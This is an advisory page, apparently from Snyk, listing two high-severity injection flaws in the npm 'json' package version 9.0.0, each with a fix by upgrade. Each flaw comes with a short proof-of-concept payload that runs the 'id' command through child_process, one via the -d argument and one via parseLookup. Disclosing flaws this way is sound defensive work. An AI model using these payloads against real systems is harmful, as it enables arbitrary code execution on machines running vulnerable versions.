json@9.0.0 vulnerabilities

a 'json' command for massaging and processing JSON on the command line

Direct Vulnerabilities

Known vulnerabilities in the json package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Arbitrary Code Injection

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the -d argument.

PoC

curl -sL 'https://api.github.com/repos/joyent/node/issues?state=open' | node_modules/json/lib/json.js -a created_at number title -d '""+require(`child_process`).execSync(`id`)//'

How to fix Arbitrary Code Injection?

Upgrade json to version 11.0.0 or higher.

<11.0.0
  • H
Command Injection

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the parseLookup function.

PoC

const json = require('json');

res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}');
console.log(res);

How to fix Command Injection?

Upgrade json to version 10.0.0 or higher.

<10.0.0